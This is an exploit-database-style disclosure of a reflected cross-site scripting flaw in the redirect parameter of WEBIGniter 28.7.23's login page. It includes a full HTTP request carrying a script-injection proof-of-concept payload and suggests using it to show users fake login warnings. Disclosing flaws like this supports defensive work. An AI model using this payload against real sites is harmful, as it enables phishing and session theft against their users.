WEBIGniter 28.7.23 Cross Site Scripting

`## Title: WEBIGniter-28.7.23-XSS-Reflected  
## Author: nu11secur1ty  
## Date: 09/04/2023  
## Vendor: https://webigniter.net/  
## Software: https://webigniter.net/demo  
## Reference: https://portswigger.net/web-security/cross-site-scripting  
  
  
## Description:  
The value of the redirect request parameter is copied into the value  
of an HTML tag attribute which is encapsulated in double quotation  
marks. The payload ycsz3"><script>alert(1)</script>bn76w was submitted  
in the redirect parameter. This input was echoed unmodified in the  
application's response.  
By using this Java Script injection, the attacker can trick a lot of  
users into visiting his dangerous URL which is reflected on the login  
form, before they log in, warning them that there is a problem with  
the login, which is very nasty and DANGEROUS!  
  
## Staus: HIGH Vulnerability  
  
[+]Paylod:  
```GET  
GET /cms/login?redirect=cmsycsz3%22%3e%3cscript%3ealert(1)%3c%2fscript%3ebn76w  
HTTP/1.1  
Host: demo.webigniter.net  
Accept-Encoding: gzip, deflate  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Language: en-US;q=0.9,en;q=0.8  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141  
Safari/537.36  
Connection: close  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"  
Sec-CH-UA-Platform: Windows  
Sec-CH-UA-Mobile: ?0  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WEBIGniter/2023/WEBIGniter-28.7.23-XSS-Reflected)  
  
## Proof and Exploit  
[href](https://www.nu11secur1ty.com/2023/09/webigniter-28723-xss-reflected.html)  
  
## Time spent:  
01:35:00  
  
  
`